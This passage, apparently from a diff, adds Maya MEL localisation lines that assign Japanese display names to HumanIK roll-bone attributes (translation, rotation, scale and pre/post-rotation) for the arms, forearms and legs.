); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4R", "左腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Rx", "左腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Ry", "左腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Rz", "左腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4S", "左腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Sx", "左腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Sy", "左腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Sz", "左腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PGX", "左腕ロール 4 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", "左腕ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4SC", "左腕ロール 4 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4IS", "左腕ロール 4 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4ISx", "左腕ロール 4 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4ISy", "左腕ロール 4 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4ISz", "左腕ロール 4 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PreR", "左腕ロール 4 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PreRx", "左腕ロール 4 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PreRy", "左腕ロール 4 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PreRz", "左腕ロール 4 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PostR", "左腕ロール 4 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PostRx", "左腕ロール 4 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PostRy", "左腕ロール 4 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PostRz", "左腕ロール 4 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4T", "左前腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Tx", "左前腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Ty", "左前腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Tz", "左前腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4R", "左前腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Rx", "左前腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Ry", "左前腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Rz", "左前腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4S", "左前腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Sx", "左前腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Sy", "左前腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Sz", "左前腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PGX", "左前腕ロール 4 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", "左前腕ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4SC", "左前腕ロール 4 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4IS", "左前腕ロール 4 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4ISx", "左前腕ロール 4 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4ISy", "左前腕ロール 4 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4ISz", "左前腕ロール 4 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PreR", "左前腕ロール 4 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PreRx", "左前腕ロール 4 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PreRy", "左前腕ロール 4 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PreRz", "左前腕ロール 4 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PostR", "左前腕ロール 4 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PostRx", "左前腕ロール 4 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PostRy", "左前腕ロール 4 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PostRz", "左前腕ロール 4 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4T", "右腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Tx", "右腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Ty", "右腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Tz", "右腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4R", "右腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Rx", "右腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Ry", "右腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Rz", "右腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4S", "右腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Sx", "右腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Sy", "右腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Sz", "右腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PGX", "右腕ロール 4 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4ROrder", "右腕ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4SC", "右腕ロール 4 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4IS", "右腕ロール 4 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4ISx", "右腕ロール 4 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4ISy", "右腕ロール 4 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4ISz", "右腕ロール 4 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PreR", "右腕ロール 4 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PreRx", "右腕ロール 4 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PreRy", "右腕ロール 4 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PreRz", "右腕ロール 4 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PostR", "右腕ロール 4 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PostRx", "右腕ロール 4 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PostRy", "右腕ロール 4 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PostRz", "右腕ロール 4 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4T", "右前腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Tx", "右前腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Ty", "右前腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Tz", "右前腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4R", "右前腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Rx", "右前腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Ry", "右前腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Rz", "右前腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4S", "右前腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Sx", "右前腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Sy", "右前腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Sz", "右前腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PGX", "右前腕ロール 4 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", "右前腕ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4SC", "右前腕ロール 4 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4IS", "右前腕ロール 4 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4ISx", "右前腕ロール 4 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4ISy", "右前腕ロール 4 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4ISz", "右前腕ロール 4 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PreR", "右前腕ロール 4 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PreRx", "右前腕ロール 4 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PreRy", "右前腕ロール 4 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PreRz", "右前腕ロール 4 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PostR", "右前腕ロール 4 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PostRx", "右前腕ロール 4 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PostRy", "右前腕ロール 4 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PostRz", "右前腕ロール 4 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5T", "左大腿部ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Tx", "左大腿部ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Ty", "左大腿部ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Tz", "左大腿部ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5R", "左大腿部ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Rx", "左大腿部ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Ry", "左大腿部ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Rz", "左大腿部ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5S", "左大腿部ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Sx", "左大腿部ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Sy", "左大腿部ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Sz", "左大腿部ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PGX", "左大腿部ロール 5 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", "左大腿部ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5SC", "左大腿部ロール 5 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5IS", "左大腿部ロール 5 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5ISx", "左大腿部ロール 5 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5ISy", "左大腿部ロール 5 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5ISz", "左大腿部ロール 5 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PreR", "左大腿部ロール 5 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PreRx", "左大腿部ロール 5 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PreRy", "左大腿部ロール 5 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PreRz", "左大腿部ロール 5 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PostR", "左大腿部ロール 5 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PostRx", "左大腿部ロール 5 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PostRy", "左大腿部ロール 5 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PostRz", "左大腿部ロール 5 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5T", "左脚ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Tx", "左脚ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Ty", "左脚ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Tz", "左脚ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5R", "左脚ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Rx", "左脚ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Ry", "左脚ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Rz", "左脚ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5S", "左脚ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Sx", "左脚ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Sy", "左脚ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Sz", "左脚ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PGX", "左脚ロール 5 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", "左脚ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5SC", "左脚ロール 5 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5IS", "左脚ロール 5 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5ISx", "左脚ロール 5 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5ISy", "左脚ロール 5 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5ISz", "左脚ロール 5 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PreR", "左脚ロール 5 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PreRx", "左脚ロール 5 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PreRy", "左脚ロール 5 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PreRz", "左脚ロール 5 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PostR", "左脚ロール 5 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PostRx", "左脚ロール 5 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PostRy", "左脚ロール 5 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PostRz", "左脚ロール 5 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5T", "右大腿部ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Tx", "右大腿部ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Ty", "右大腿部ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Tz", "右大腿部ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5R", "右大腿部ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Rx", "右大腿部ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Ry", "右大腿部ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Rz", "右大腿部ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5S", "右大腿部ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Sx", "右大腿部ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Sy", "右大腿部ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Sz", "右大腿部ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PGX", "右大腿部ロール 5 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", "右大腿部ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5SC", "右大腿部ロール 5 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5IS", "右大腿部ロール 5 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5ISx", "右大腿部ロール 5 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5ISy", "右大腿部ロール 5 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5ISz", "右大腿部ロール 5 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PreR", "右大腿部ロール 5 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PreRx", "右大腿部ロール 5 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PreRy", "右大腿部ロール 5 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PreRz", "右大腿部ロール 5 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PostR", "右大腿部ロール 5 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PostRx", "右大腿部ロール 5 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PostRy", "右大腿部ロール 5 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PostRz", "右大腿部ロール 5 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5T", "右脚ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Tx", "右脚ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Ty", "右脚ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Tz", "右脚ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5R", "右脚ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Rx", "右脚ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Ry", "右脚ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Rz", "右脚ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5S", "右脚ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Sx", "右脚ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Sy", "右脚ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Sz", "右脚ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PGX", "右脚ロール 5 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5ROrder", "右脚ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5SC", "右脚ロール 5 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5IS", "右脚ロール 5 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5ISx", "右脚ロール 5 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5ISy", "右脚ロール 5 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5ISz", "右脚ロール 5 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PreR", "右脚ロール 5 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PreRx", "右脚ロール 5 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PreRy", "右脚ロール 5 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PreRz", "右脚ロール 5 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PostR", "右脚ロール 5 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PostRx", "右脚ロール 5 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PostRy", "右脚ロール 5 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PostRz", "右脚ロール 5 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5T", "左腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Tx", "左腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Ty", "左腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Tz", "左腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5R", "左腕ロール 5R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Rx", "左腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Ry", "左腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Rz", "左腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5S", "左腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Sx", "左腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Sy", "左腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Sz", "左腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PGX", "左腕ロール 5 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", "左腕ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5SC", "左腕ロール 5 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5IS", "左腕ロール 5 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5ISx", "左腕ロール 5 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5ISy", "左腕ロール 5 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5ISz", "左腕ロール 5 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PreR", "左腕ロール 5 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PreRx", "左腕ロール 5 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PreRy", "左腕ロール 5 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PreRz", "左腕ロール 5 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PostR", "左腕ロール 5 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PostRx", "左腕ロール 5 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PostRy", "左腕ロール 5 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PostRz", "左腕ロール 5 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5T", "左前腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Tx", "左前腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Ty", "左前腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Tz", "左前腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5R", "左前腕ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Rx", "左前腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Ry", "左前腕ロール 5 Ry 可動部" ); 